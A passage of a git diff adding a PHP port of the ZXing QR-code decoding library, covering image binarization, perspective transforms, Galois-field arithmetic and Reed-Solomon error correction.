*/ + private static function calculateBlackPoints( + $luminances, + $subWidth, + $subHeight, + $width, + $height + ) { + $blackPoints = fill_array(0, $subHeight, 0); + foreach ($blackPoints as $key => $point) { + $blackPoints[$key] = fill_array(0, $subWidth, 0); + } + for ($y = 0; $y < $subHeight; $y++) { + $yoffset = ($y << self::$BLOCK_SIZE_POWER); + $maxYOffset = $height - self::$BLOCK_SIZE; + if ($yoffset > $maxYOffset) { + $yoffset = $maxYOffset; + } + for ($x = 0; $x < $subWidth; $x++) { + $xoffset = ($x << self::$BLOCK_SIZE_POWER); + $maxXOffset = $width - self::$BLOCK_SIZE; + if ($xoffset > $maxXOffset) { + $xoffset = $maxXOffset; + } + $sum = 0; + $min = 0xFF; + $max = 0; + for ($yy = 0, $offset = $yoffset * $width + $xoffset; $yy < self::$BLOCK_SIZE; $yy++, $offset += $width) { + for ($xx = 0; $xx < self::$BLOCK_SIZE; $xx++) { + $pixel = ((int)($luminances[(int)($offset + $xx)]) & 0xFF); + $sum += $pixel; + // still looking for good contrast + if ($pixel < $min) { + $min = $pixel; + } + if ($pixel > $max) { + $max = $pixel; + } + } + // short-circuit min/max tests once dynamic range is met + if ($max - $min > self::$MIN_DYNAMIC_RANGE) { + // finish the rest of the rows quickly + for ($yy++, $offset += $width; $yy < self::$BLOCK_SIZE; $yy++, $offset += $width) { + for ($xx = 0; $xx < self::$BLOCK_SIZE; $xx++) { + $sum += ($luminances[$offset + $xx] & 0xFF); + } + } + } + } + + // The default estimate is the average of the values in the block. + $average = ($sum >> (self::$BLOCK_SIZE_POWER * 2)); + if ($max - $min <= self::$MIN_DYNAMIC_RANGE) { + // If variation within the block is low, assume this is a block with only light or only + // dark pixels. In that case we do not want to use the average, as it would divide this + // low contrast area into black and white pixels, essentially creating data out of noise. + // + // The default assumption is that the block is light/background. Since no estimate for + // the level of dark pixels exists locally, use half the min for the block. + $average = (int)($min / 2); + + if ($y > 0 && $x > 0) { + // Correct the "white background" assumption for blocks that have neighbors by comparing + // the pixels in this block to the previously calculated black points. This is based on + // the fact that dark barcode symbology is always surrounded by some amount of light + // background for which reasonable black point estimates were made. The bp estimated at + // the boundaries is used for the interior. + + // The (min < bp) is arbitrary but works better than other heuristics that were tried. + $averageNeighborBlackPoint = + (int)(($blackPoints[$y - 1][$x] + (2 * $blackPoints[$y][$x - 1]) + $blackPoints[$y - 1][$x - 1]) / 4); + if ($min < $averageNeighborBlackPoint) { + $average = $averageNeighborBlackPoint; + } + } + } + $blackPoints[$y][$x] = (int)($average); + } + } + + return $blackPoints; + } + + /** + * For each block in the image, calculate the average black point using a 5x5 grid + * of the blocks around it. Also handles the corner cases (fractional blocks are computed based + * on the last pixels in the row/column which are also used in the previous block). + */ + private static function calculateThresholdForBlock( + $luminances, + $subWidth, + $subHeight, + $width, + $height, + $blackPoints, + $matrix + ) { + for ($y = 0; $y < $subHeight; $y++) { + $yoffset = ($y << self::$BLOCK_SIZE_POWER); + $maxYOffset = $height - self::$BLOCK_SIZE; + if ($yoffset > $maxYOffset) { + $yoffset = $maxYOffset; + } + for ($x = 0; $x < $subWidth; $x++) { + $xoffset = ($x << self::$BLOCK_SIZE_POWER); + $maxXOffset = $width - self::$BLOCK_SIZE; + if ($xoffset > $maxXOffset) { + $xoffset = $maxXOffset; + } + $left = self::cap($x, 2, $subWidth - 3); + $top = self::cap($y, 2, $subHeight - 3); + $sum = 0; + for ($z = -2; $z <= 2; $z++) { + $blackRow = $blackPoints[$top + $z]; + $sum += $blackRow[$left - 2] + $blackRow[$left - 1] + $blackRow[$left] + $blackRow[$left + 1] + $blackRow[$left + 2]; + } + $average = (int)($sum / 25); + + self::thresholdBlock($luminances, $xoffset, $yoffset, $average, $width, $matrix); + } + } + } + + private static function cap($value, $min, $max) + { + if ($value < $min) { + return $min; + } elseif ($value > $max) { + return $max; + } else { + return $value; + } + } + + /** + * Applies a single threshold to a block of pixels. + */ + private static function thresholdBlock( + $luminances, + $xoffset, + $yoffset, + $threshold, + $stride, + $matrix + ) { + + for ($y = 0, $offset = $yoffset * $stride + $xoffset; $y < self::$BLOCK_SIZE; $y++, $offset += $stride) { + for ($x = 0; $x < self::$BLOCK_SIZE; $x++) { + // Comparison needs to be <= so that black == 0 pixels are black even if the threshold is 0. + if (($luminances[$offset + $x] & 0xFF) <= $threshold) { + $matrix->set($xoffset + $x, $yoffset + $y); + } + } + } + } + + public function createBinarizer($source) + { + return new HybridBinarizer($source); + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/PerspectiveTransform.php b/includes/qrcodedecoder/Zxing/Common/PerspectiveTransform.php new file mode 100644 index 0000000..a3a0b97 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/PerspectiveTransform.php @@ -0,0 +1,175 @@ +This class implements a perspective transform in two dimensions. Given four source and four + * destination points, it will compute the transformation implied between them. The code is based + * directly upon section 3.4.2 of George Wolberg's "Digital Image Warping"; see pages 54-56.

    + * + * @author Sean Owen + */ +final class PerspectiveTransform +{ + private $a11; + private $a12; + private $a13; + private $a21; + private $a22; + private $a23; + private $a31; + private $a32; + private $a33; + + private function __construct( + $a11, $a21, $a31, + $a12, $a22, $a32, + $a13, $a23, $a33 + ) { + $this->a11 = $a11; + $this->a12 = $a12; + $this->a13 = $a13; + $this->a21 = $a21; + $this->a22 = $a22; + $this->a23 = $a23; + $this->a31 = $a31; + $this->a32 = $a32; + $this->a33 = $a33; + } + + public static function quadrilateralToQuadrilateral( + $x0, $y0, + $x1, $y1, + $x2, $y2, + $x3, $y3, + $x0p, $y0p, + $x1p, $y1p, + $x2p, $y2p, + $x3p, $y3p + ) { + + $qToS = self::quadrilateralToSquare($x0, $y0, $x1, $y1, $x2, $y2, $x3, $y3); + $sToQ = self::squareToQuadrilateral($x0p, $y0p, $x1p, $y1p, $x2p, $y2p, $x3p, $y3p); + + return $sToQ->times($qToS); + } + + public static function quadrilateralToSquare( + $x0, $y0, + $x1, $y1, + $x2, $y2, + $x3, $y3 + ) { +// Here, the adjoint serves as the inverse: + return self::squareToQuadrilateral($x0, $y0, $x1, $y1, $x2, $y2, $x3, $y3)->buildAdjoint(); + } + + public function buildAdjoint() + { +// Adjoint is the transpose of the cofactor matrix: + return new PerspectiveTransform($this->a22 * $this->a33 - $this->a23 * $this->a32, + $this->a23 * $this->a31 - $this->a21 * $this->a33, + $this->a21 * $this->a32 - $this->a22 * $this->a31, + $this->a13 * $this->a32 - $this->a12 * $this->a33, + $this->a11 * $this->a33 - $this->a13 * $this->a31, + $this->a12 * $this->a31 - $this->a11 * $this->a32, + $this->a12 * $this->a23 - $this->a13 * $this->a22, + $this->a13 * $this->a21 - $this->a11 * $this->a23, + $this->a11 * $this->a22 - $this->a12 * $this->a21); + } + + public static function squareToQuadrilateral( + $x0, $y0, + $x1, $y1, + $x2, $y2, + $x3, $y3 + ) { + $dx3 = $x0 - $x1 + $x2 - $x3; + $dy3 = $y0 - $y1 + $y2 - $y3; + if ($dx3 == 0.0 && $dy3 == 0.0) { +// Affine + return new PerspectiveTransform($x1 - $x0, $x2 - $x1, $x0, + $y1 - $y0, $y2 - $y1, $y0, + 0.0, 0.0, 1.0); + } else { + $dx1 = $x1 - $x2; + $dx2 = $x3 - $x2; + $dy1 = $y1 - $y2; + $dy2 = $y3 - $y2; + $denominator = $dx1 * $dy2 - $dx2 * $dy1; + $a13 = ($dx3 * $dy2 - $dx2 * $dy3) / $denominator; + $a23 = ($dx1 * $dy3 - $dx3 * $dy1) / $denominator; + + return new PerspectiveTransform($x1 - $x0 + $a13 * $x1, $x3 - $x0 + $a23 * $x3, $x0, + $y1 - $y0 + $a13 * $y1, $y3 - $y0 + $a23 * $y3, $y0, + $a13, $a23, 1.0); + } + } + + public function times($other) + { + return new PerspectiveTransform($this->a11 * $other->a11 + $this->a21 * $other->a12 + $this->a31 * $other->a13, + $this->a11 * $other->a21 + $this->a21 * $other->a22 + $this->a31 * $other->a23, + $this->a11 * $other->a31 + $this->a21 * $other->a32 + $this->a31 * $other->a33, + $this->a12 * $other->a11 + $this->a22 * $other->a12 + $this->a32 * $other->a13, + $this->a12 * $other->a21 + $this->a22 * $other->a22 + $this->a32 * $other->a23, + $this->a12 * $other->a31 + $this->a22 * $other->a32 + $this->a32 * $other->a33, + $this->a13 * $other->a11 + $this->a23 * $other->a12 + $this->a33 * $other->a13, + $this->a13 * $other->a21 + $this->a23 * $other->a22 + $this->a33 * $other->a23, + $this->a13 * $other->a31 + $this->a23 * $other->a32 + $this->a33 * $other->a33); + + } + + public function transformPoints(&$points, &$yValues = 0) + { + if ($yValues) { + $this->transformPoints_($points, $yValues); + + return; + } + $max = count($points); + $a11 = $this->a11; + $a12 = $this->a12; + $a13 = $this->a13; + $a21 = $this->a21; + $a22 = $this->a22; + $a23 = $this->a23; + $a31 = $this->a31; + $a32 = $this->a32; + $a33 = $this->a33; + for ($i = 0; $i < $max; $i += 2) { + $x = $points[$i]; + $y = $points[$i + 1]; + $denominator = $a13 * $x + $a23 * $y + $a33; + $points[$i] = ($a11 * $x + $a21 * $y + $a31) / $denominator; + $points[$i + 1] = ($a12 * $x + $a22 * $y + $a32) / $denominator; + } + } + + public function transformPoints_(&$xValues, &$yValues) + { + $n = count($xValues); + for ($i = 0; $i < $n; $i++) { + $x = $xValues[$i]; + $y = $yValues[$i]; + $denominator = $this->a13 * $x + $this->a23 * $y + $this->a33; + $xValues[$i] = ($this->a11 * $x + $this->a21 * $y + $this->a31) / $denominator; + $yValues[$i] = ($this->a12 * $x + $this->a22 * $y + $this->a32) / $denominator; + } + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/Reedsolomon/GenericGF.php b/includes/qrcodedecoder/Zxing/Common/Reedsolomon/GenericGF.php new file mode 100644 index 0000000..49d7b61 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/Reedsolomon/GenericGF.php @@ -0,0 +1,198 @@ +This class contains utility methods for performing mathematical operations over + * the Galois Fields. Operations use a given primitive polynomial in calculations.

    + * + *

    Throughout this package, elements of the GF are represented as an {@code int} + * for convenience and speed (but at the cost of memory). + *

    + * + * @author Sean Owen + * @author David Olivier + */ +final class GenericGF +{ + + public static $AZTEC_DATA_12; + public static $AZTEC_DATA_10; + public static $AZTEC_DATA_6; + public static $AZTEC_PARAM; + public static $QR_CODE_FIELD_256; + public static $DATA_MATRIX_FIELD_256; + public static $AZTEC_DATA_8; + public static $MAXICODE_FIELD_64; + + private $expTable; + private $logTable; + private $zero; + private $one; + private $size; + private $primitive; + private $generatorBase; + + /** + * Create a representation of GF(size) using the given primitive polynomial. + * + * @param primitive irreducible polynomial whose coefficients are represented by + * the bits of an int, where the least-significant bit represents the constant + * coefficient + * @param size the size of the field + * @param b the factor b in the generator polynomial can be 0- or 1-based + * (g(x) = (x+a^b)(x+a^(b+1))...(x+a^(b+2t-1))). + * In most cases it should be 1, but for QR code it is 0. + */ + public function __construct($primitive, $size, $b) + { + $this->primitive = $primitive; + $this->size = $size; + $this->generatorBase = $b; + + $this->expTable = []; + $this->logTable = []; + $x = 1; + for ($i = 0; $i < $size; $i++) { + $this->expTable[$i] = $x; + $x *= 2; // we're assuming the generator alpha is 2 + if ($x >= $size) { + $x ^= $primitive; + $x &= $size - 1; + } + } + for ($i = 0; $i < $size - 1; $i++) { + $this->logTable[$this->expTable[$i]] = $i; + } + // logTable[0] == 0 but this should never be used + $this->zero = new GenericGFPoly($this, [0]); + $this->one = new GenericGFPoly($this, [1]); + } + + public static function Init() + { + self::$AZTEC_DATA_12 = new GenericGF(0x1069, 4096, 1); // x^12 + x^6 + x^5 + x^3 + 1 + self::$AZTEC_DATA_10 = new GenericGF(0x409, 1024, 1); // x^10 + x^3 + 1 + self::$AZTEC_DATA_6 = new GenericGF(0x43, 64, 1); // x^6 + x + 1 + self::$AZTEC_PARAM = new GenericGF(0x13, 16, 1); // x^4 + x + 1 + self::$QR_CODE_FIELD_256 = new GenericGF(0x011D, 256, 0); // x^8 + x^4 + x^3 + x^2 + 1 + self::$DATA_MATRIX_FIELD_256 = new GenericGF(0x012D, 256, 1); // x^8 + x^5 + x^3 + x^2 + 1 + self::$AZTEC_DATA_8 = self::$DATA_MATRIX_FIELD_256; + self::$MAXICODE_FIELD_64 = self::$AZTEC_DATA_6; + } + + /** + * Implements both addition and subtraction -- they are the same in GF(size). + * + * @return sum/difference of a and b + */ + public static function addOrSubtract($a, $b) + { + return $a ^ $b; + } + + public function getZero() + { + return $this->zero; + } + + public function getOne() + { + return $this->one; + } + + /** + * @return the monomial representing coefficient * x^degree + */ + public function buildMonomial($degree, $coefficient) + { + if ($degree < 0) { + throw new \InvalidArgumentException(); + } + if ($coefficient == 0) { + return $this->zero; + } + $coefficients = fill_array(0, $degree + 1, 0);//new int[degree + 1]; + $coefficients[0] = $coefficient; + + return new GenericGFPoly($this, $coefficients); + } + + /** + * @return 2 to the power of a in GF(size) + */ + public function exp($a) + { + return $this->expTable[$a]; + } + + /** + * @return base 2 log of a in GF(size) + */ + public function log($a) + { + if ($a == 0) { + throw new \InvalidArgumentException(); + } + + return $this->logTable[$a]; + } + + /** + * @return multiplicative inverse of a + */ + public function inverse($a) + { + if ($a == 0) { + throw new \Exception(); + } + + return $this->expTable[$this->size - $this->logTable[$a] - 1]; + } + + /** + * @return int product of a and b in GF(size) + */ + public function multiply($a, $b) + { + if ($a == 0 || $b == 0) { + return 0; + } + + return $this->expTable[($this->logTable[$a] + $this->logTable[$b]) % ($this->size - 1)]; + } + + public function getSize() + { + return $this->size; + } + + public function getGeneratorBase() + { + return $this->generatorBase; + } + + // @Override + public function toString() + { + return "GF(0x" . dechex((int)($this->primitive)) . ',' . $this->size . ')'; + } + +} + +GenericGF::Init(); diff --git a/includes/qrcodedecoder/Zxing/Common/Reedsolomon/GenericGFPoly.php b/includes/qrcodedecoder/Zxing/Common/Reedsolomon/GenericGFPoly.php new file mode 100644 index 0000000..9770085 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/Reedsolomon/GenericGFPoly.php @@ -0,0 +1,289 @@ +Represents a polynomial whose coefficients are elements of a GF. + * Instances of this class are immutable.

    + * + *

    Much credit is due to William Rucklidge since portions of this code are an indirect + * port of his C++ Reed-Solomon implementation.

    + * + * @author Sean Owen + */ +final class GenericGFPoly +{ + + private $field; + private $coefficients; + + /** + * @param field the {@link GenericGF} instance representing the field to use + * to perform computations + * @param coefficients array coefficients as ints representing elements of GF(size), arranged + * from most significant (highest-power term) coefficient to least significant + * + * @throws InvalidArgumentException if argument is null or empty, + * or if leading coefficient is 0 and this is not a + * constant polynomial (that is, it is not the monomial "0") + */ + public function __construct($field, $coefficients) + { + if (count($coefficients) == 0) { + throw new \InvalidArgumentException(); + } + $this->field = $field; + $coefficientsLength = count($coefficients); + if ($coefficientsLength > 1 && $coefficients[0] == 0) { + // Leading term must be non-zero for anything except the constant polynomial "0" + $firstNonZero = 1; + while ($firstNonZero < $coefficientsLength && $coefficients[$firstNonZero] == 0) { + $firstNonZero++; + } + if ($firstNonZero == $coefficientsLength) { + $this->coefficients = [0]; + } else { + $this->coefficients = fill_array(0, $coefficientsLength - $firstNonZero, 0); + $this->coefficients = arraycopy($coefficients, + $firstNonZero, + $this->coefficients, + 0, + count($this->coefficients)); + } + } else { + $this->coefficients = $coefficients; + } + } + + public function getCoefficients() + { + return $this->coefficients; + } + + /** + * @return evaluation of this polynomial at a given point + */ + public function evaluateAt($a) + { + if ($a == 0) { + // Just return the x^0 coefficient + return $this->getCoefficient(0); + } + $size = count($this->coefficients); + if ($a == 1) { + // Just the sum of the coefficients + $result = 0; + foreach ($this->coefficients as $coefficient) { + $result = GenericGF::addOrSubtract($result, $coefficient); + } + + return $result; + } + $result = $this->coefficients[0]; + for ($i = 1; $i < $size; $i++) { + $result = GenericGF::addOrSubtract($this->field->multiply($a, $result), $this->coefficients[$i]); + } + + return $result; + } + + /** + * @return coefficient of x^degree term in this polynomial + */ + public function getCoefficient($degree) + { + return $this->coefficients[count($this->coefficients) - 1 - $degree]; + } + + public function multiply($other) + { + if (is_int($other)) { + return $this->multiply_($other); + } + if ($this->field !== $other->field) { + throw new \InvalidArgumentException("GenericGFPolys do not have same GenericGF field"); + } + if ($this->isZero() || $other->isZero()) { + return $this->field->getZero(); + } + $aCoefficients = $this->coefficients; + $aLength = count($aCoefficients); + $bCoefficients = $other->coefficients; + $bLength = count($bCoefficients); + $product = fill_array(0, $aLength + $bLength - 1, 0); + for ($i = 0; $i < $aLength; $i++) { + $aCoeff = $aCoefficients[$i]; + for ($j = 0; $j < $bLength; $j++) { + $product[$i + $j] = GenericGF::addOrSubtract($product[$i + $j], + $this->field->multiply($aCoeff, $bCoefficients[$j])); + } + } + + return new GenericGFPoly($this->field, $product); + } + + public function multiply_($scalar) + { + if ($scalar == 0) { + return $this->field->getZero(); + } + if ($scalar == 1) { + return $this; + } + $size = count($this->coefficients); + $product = fill_array(0, $size, 0); + for ($i = 0; $i < $size; $i++) { + $product[$i] = $this->field->multiply($this->coefficients[$i], $scalar); + } + + return new GenericGFPoly($this->field, $product); + } + + /** + * @return true iff this polynomial is the monomial "0" + */ + public function isZero() + { + return $this->coefficients[0] == 0; + } + + public function multiplyByMonomial($degree, $coefficient) + { + if ($degree < 0) { + throw new \InvalidArgumentException(); + } + if ($coefficient == 0) { + return $this->field->getZero(); + } + $size = count($this->coefficients); + $product = fill_array(0, $size + $degree, 0); + for ($i = 0; $i < $size; $i++) { + $product[$i] = $this->field->multiply($this->coefficients[$i], $coefficient); + } + + return new GenericGFPoly($this->field, $product); + } + + public function divide($other) + { + if ($this->field !== $other->field) { + throw new \InvalidArgumentException("GenericGFPolys do not have same GenericGF field"); + } + if ($other->isZero()) { + throw new \InvalidArgumentException("Divide by 0"); + } + + $quotient = $this->field->getZero(); + $remainder = $this; + + $denominatorLeadingTerm = $other->getCoefficient($other->getDegree()); + $inverseDenominatorLeadingTerm = $this->field->inverse($denominatorLeadingTerm); + + while ($remainder->getDegree() >= $other->getDegree() && !$remainder->isZero()) { + $degreeDifference = $remainder->getDegree() - $other->getDegree(); + $scale = $this->field->multiply($remainder->getCoefficient($remainder->getDegree()), $inverseDenominatorLeadingTerm); + $term = $other->multiplyByMonomial($degreeDifference, $scale); + $iterationQuotient = $this->field->buildMonomial($degreeDifference, $scale); + $quotient = $quotient->addOrSubtract($iterationQuotient); + $remainder = $remainder->addOrSubtract($term); + } + + return [$quotient, $remainder]; + } + + /** + * @return degree of this polynomial + */ + public function getDegree() + { + return count($this->coefficients) - 1; + } + + public function addOrSubtract($other) + { + if ($this->field !== $other->field) { + throw new \InvalidArgumentException("GenericGFPolys do not have same GenericGF field"); + } + if ($this->isZero()) { + return $other; + } + if ($other->isZero()) { + return $this; + } + + $smallerCoefficients = $this->coefficients; + $largerCoefficients = $other->coefficients; + if (count($smallerCoefficients) > count($largerCoefficients)) { + $temp = $smallerCoefficients; + $smallerCoefficients = $largerCoefficients; + $largerCoefficients = $temp; + } + $sumDiff = fill_array(0, count($largerCoefficients), 0); + $lengthDiff = count($largerCoefficients) - count($smallerCoefficients); + // Copy high-order terms only found in higher-degree polynomial's coefficients + $sumDiff = arraycopy($largerCoefficients, 0, $sumDiff, 0, $lengthDiff); + + $countLargerCoefficients = count($largerCoefficients); + for ($i = $lengthDiff; $i < $countLargerCoefficients; $i++) { + $sumDiff[$i] = GenericGF::addOrSubtract($smallerCoefficients[$i - $lengthDiff], $largerCoefficients[$i]); + } + + return new GenericGFPoly($this->field, $sumDiff); + } + + //@Override + + public function toString() + { + $result = ''; + for ($degree = $this->getDegree(); $degree >= 0; $degree--) { + $coefficient = $this->getCoefficient($degree); + if ($coefficient != 0) { + if ($coefficient < 0) { + $result .= " - "; + $coefficient = -$coefficient; + } else { + if (strlen($result) > 0) { + $result .= " + "; + } + } + if ($degree == 0 || $coefficient != 1) { + $alphaPower = $this->field->log($coefficient); + if ($alphaPower == 0) { + $result .= '1'; + } else if ($alphaPower == 1) { + $result .= 'a'; + } else { + $result .= "a^"; + $result .= ($alphaPower); + } + } + if ($degree != 0) { + if ($degree == 1) { + $result .= 'x'; + } else { + $result .= "x^"; + $result .= $degree; + } + } + } + } + + return $result; + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/Reedsolomon/ReedSolomonDecoder.php b/includes/qrcodedecoder/Zxing/Common/Reedsolomon/ReedSolomonDecoder.php new file mode 100644 index 0000000..ff501a2 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/Reedsolomon/ReedSolomonDecoder.php @@ -0,0 +1,201 @@ +Implements Reed-Solomon decoding, as the name implies.

    + * + *

    The algorithm will not be explained here, but the following references were helpful + * in creating this implementation:

    + * + * + * + *

    Much credit is due to William Rucklidge since portions of this code are an indirect + * port of his C++ Reed-Solomon implementation.

    + * + * @author Sean Owen + * @author William Rucklidge + * @author sanfordsquires + */ +final class ReedSolomonDecoder +{ + + private $field; + + public function __construct($field) + { + $this->field = $field; + } + + /** + *

    Decodes given set of received codewords, which include both data and error-correction + * codewords. Really, this means it uses Reed-Solomon to detect and correct errors, in-place, + * in the input.

    + * + * @param received data and error-correction codewords + * @param twoS number of error-correction codewords available + * + * @throws ReedSolomonException if decoding fails for any reason + */ + public function decode(&$received, $twoS) + { + $poly = new GenericGFPoly($this->field, $received); + $syndromeCoefficients = fill_array(0, $twoS, 0); + $noError = true; + for ($i = 0; $i < $twoS; $i++) { + $eval = $poly->evaluateAt($this->field->exp($i + $this->field->getGeneratorBase())); + $syndromeCoefficients[count($syndromeCoefficients) - 1 - $i] = $eval; + if ($eval != 0) { + $noError = false; + } + } + if ($noError) { + return; + } + $syndrome = new GenericGFPoly($this->field, $syndromeCoefficients); + $sigmaOmega = + $this->runEuclideanAlgorithm($this->field->buildMonomial($twoS, 1), $syndrome, $twoS); + $sigma = $sigmaOmega[0]; + $omega = $sigmaOmega[1]; + $errorLocations = $this->findErrorLocations($sigma); + $errorMagnitudes = $this->findErrorMagnitudes($omega, $errorLocations); + $errorLocationsCount = count($errorLocations); + for ($i = 0; $i < $errorLocationsCount; $i++) { + $position = count($received) - 1 - $this->field->log($errorLocations[$i]); + if ($position < 0) { + throw new ReedSolomonException("Bad error location"); + } + $received[$position] = GenericGF::addOrSubtract($received[$position], $errorMagnitudes[$i]); + } + + } + + private function runEuclideanAlgorithm($a, $b, $R) + { + // Assume a's degree is >= b's + if ($a->getDegree() < $b->getDegree()) { + $temp = $a; + $a = $b; + $b = $temp; + } + + $rLast = $a; + $r = $b; + $tLast = $this->field->getZero(); + $t = $this->field->getOne(); + + // Run Euclidean algorithm until r's degree is less than R/2 + while ($r->getDegree() >= $R / 2) { + $rLastLast = $rLast; + $tLastLast = $tLast; + $rLast = $r; + $tLast = $t; + + // Divide rLastLast by rLast, with quotient in q and remainder in r + if ($rLast->isZero()) { + // Oops, Euclidean algorithm already terminated? + throw new ReedSolomonException("r_{i-1} was zero"); + } + $r = $rLastLast; + $q = $this->field->getZero(); + $denominatorLeadingTerm = $rLast->getCoefficient($rLast->getDegree()); + $dltInverse = $this->field->inverse($denominatorLeadingTerm); + while ($r->getDegree() >= $rLast->getDegree() && !$r->isZero()) { + $degreeDiff = $r->getDegree() - $rLast->getDegree(); + $scale = $this->field->multiply($r->getCoefficient($r->getDegree()), $dltInverse); + $q = $q->addOrSubtract($this->field->buildMonomial($degreeDiff, $scale)); + $r = $r->addOrSubtract($rLast->multiplyByMonomial($degreeDiff, $scale)); + } + + $t = $q->multiply($tLast)->addOrSubtract($tLastLast); + + if ($r->getDegree() >= $rLast->getDegree()) { + throw new ReedSolomonException("Division algorithm failed to reduce polynomial?"); + } + } + + $sigmaTildeAtZero = $t->getCoefficient(0); + if ($sigmaTildeAtZero == 0) { + throw new ReedSolomonException("sigmaTilde(0) was zero"); + } + + $inverse = $this->field->inverse($sigmaTildeAtZero); + $sigma = $t->multiply($inverse); + $omega = $r->multiply($inverse); + + return [$sigma, $omega]; + } + + private function findErrorLocations($errorLocator) + { + // This is a direct application of Chien's search + $numErrors = $errorLocator->getDegree(); + if ($numErrors == 1) { // shortcut + return [$errorLocator->getCoefficient(1)]; + } + $result = fill_array(0, $numErrors, 0); + $e = 0; + for ($i = 1; $i < $this->field->getSize() && $e < $numErrors; $i++) { + if ($errorLocator->evaluateAt($i) == 0) { + $result[$e] = $this->field->inverse($i); + $e++; + } + } + if ($e != $numErrors) { + throw new ReedSolomonException("Error locator degree does not match number of roots"); + } + + return $result; + } + + private function findErrorMagnitudes($errorEvaluator, $errorLocations) + { + // This is directly applying Forney's Formula + $s = count($errorLocations); + $result = fill_array(0, $s, 0); + for ($i = 0; $i < $s; $i++) { + $xiInverse = $this->field->inverse($errorLocations[$i]); + $denominator = 1; + for ($j = 0; $j < $s; $j++) { + if ($i != $j) { + //denominator = field.multiply(denominator, + // GenericGF.addOrSubtract(1, field.multiply(errorLocations[j], xiInverse))); + // Above should work but fails on some Apple and Linux JDKs due to a Hotspot bug. + // Below is a funny-looking workaround from Steven Parkes + $term = $this->field->multiply($errorLocations[$j], $xiInverse); + $termPlus1 = ($term & 0x1) == 0 ? $term | 1 : $term & ~1; + $denominator = $this->field->multiply($denominator, $termPlus1); + } + } + $result[$i] = $this->field->multiply($errorEvaluator->evaluateAt($xiInverse), + $this->field->inverse($denominator)); + if ($this->field->getGeneratorBase() != 0) { + $result[$i] = $this->field->multiply($result[$i], $xiInverse); + } + } + + return $result; + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/Reedsolomon/ReedSolomonException.php b/includes/qrcodedecoder/Zxing/Common/Reedsolomon/ReedSolomonException.php new file mode 100644 index 0000000..cd7babd --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/Reedsolomon/ReedSolomonException.php @@ -0,0 +1,28 @@ +Thrown when an exception occurs during Reed-Solomon decoding, such as when + * there are too many errors to correct.

    + * + * @author Sean Owen + */ +final class ReedSolomonException extends \Exception +{ +} diff --git a/includes/qrcodedecoder/Zxing/Common/customFunctions.php b/includes/qrcodedecoder/Zxing/Common/customFunctions.php new file mode 100644 index 0000000..c336f57 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/customFunctions.php @@ -0,0 +1,101 @@ +>= 1; + $num++; + } + + return $num; + } +} + +if (!function_exists('uRShift')) { + function uRShift($a, $b) + { + static $mask = (8 * PHP_INT_SIZE - 1); + if ($b === 0) { + return $a; + } + + return ($a >> $b) & ~(1 << $mask >> ($b - 1)); + } +} + +/* +function sdvig3($num,$count=1){//>>> 32 bit + $s = decbin($num); + + $sarray = str_split($s,1); + $sarray = array_slice($sarray,-32);//32bit + + for($i=0;$i<=1;$i++) { + array_pop($sarray); + array_unshift($sarray, '0'); + } + return bindec(implode($sarray)); +} +*/ + +if (!function_exists('sdvig3')) { + function sdvig3($a, $b) + { + if ($a >= 0) { + return bindec(decbin($a >> $b)); //simply right shift for positive number + } + + $bin = decbin($a >> $b); + + $bin = substr($bin, $b); // zero fill on the left side + + return bindec($bin); + } +} + +if (!function_exists('floatToIntBits')) { + function floatToIntBits($float_val) + { + $int = unpack('i', pack('f', $float_val)); + + return $int[1]; + } +} + + +if (!function_exists('fill_array')) { + function fill_array($index, $count, $value) + { + if ($count <= 0) { + return [0]; + } + + return array_fill($index, $count, $value); + } +} diff --git a/includes/qrcodedecoder/Zxing/FormatException.php b/includes/qrcodedecoder/Zxing/FormatException.php new file mode 100644 index 0000000..64de650 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/FormatException.php @@ -0,0 +1,49 @@ +GDLuminanceSource($gdImage, $dataWidth, $dataHeight); + + return; + } + parent::__construct($width, $height); + if ($left + $width > $dataWidth || $top + $height > $dataHeight) { + throw new \InvalidArgumentException("Crop rectangle does not fit within image data."); + } + $this->luminances = $gdImage; + $this->dataWidth = $dataWidth; + $this->dataHeight = $dataHeight; + $this->left = $left; + $this->top = $top; + } + + public function GDLuminanceSource($gdImage, $width, $height) + { + parent::__construct($width, $height); + + $this->dataWidth = $width; + $this->dataHeight = $height; + $this->left = 0; + $this->top = 0; + $this->gdImage = $gdImage; + + +// In order to measure pure decoding speed, we convert the entire image to a greyscale array +// up front, which is the same as the Y channel of the YUVLuminanceSource in the real app. + $this->luminances = []; + //$this->luminances = $this->grayScaleToBitmap($this->grayscale()); + + $array = []; + $rgb = []; + + for ($j = 0; $j < $height; $j++) { + for ($i = 0; $i < $width; $i++) { + $argb = imagecolorat($this->gdImage, $i, $j); + $pixel = imagecolorsforindex($this->gdImage, $argb); + $r = $pixel['red']; + $g = $pixel['green']; + $b = $pixel['blue']; + if ($r == $g && $g == $b) { +// Image is already greyscale, so pick any channel. + + $this->luminances[] = $r;//(($r + 128) % 256) - 128; + } else { +// Calculate luminance cheaply, favoring green. + $this->luminances[] = ($r + 2 * $g + $b) / 4;//(((($r + 2 * $g + $b) / 4) + 128) % 256) - 128; + } + } + } + + /* + for ($y = 0; $y < $height; $y++) { + $offset = $y * $width; + for ($x = 0; $x < $width; $x++) { + $pixel = $pixels[$offset + $x]; + $r = ($pixel >> 16) & 0xff; + $g = ($pixel >> 8) & 0xff; + $b = $pixel & 0xff; + if ($r == $g && $g == $b) { +// Image is already greyscale, so pick any channel. + + $this->luminances[(int)($offset + $x)] = (($r+128) % 256) - 128; + } else { +// Calculate luminance cheaply, favoring green. + $this->luminances[(int)($offset + $x)] = (((($r + 2 * $g + $b) / 4)+128)%256) - 128; + } + + + + } + */ + //} + // $this->luminances = $this->grayScaleToBitmap($this->luminances); + } + +//@Override + public function getRow($y, $row = null) + { + if ($y < 0 || $y >= $this->getHeight()) { + throw new \InvalidArgumentException('Requested row is outside the image: ' . $y); + } + $width = $this->getWidth(); + if ($row == null || count($row) < $width) { + $row = []; + } + $offset = ($y + $this->top) 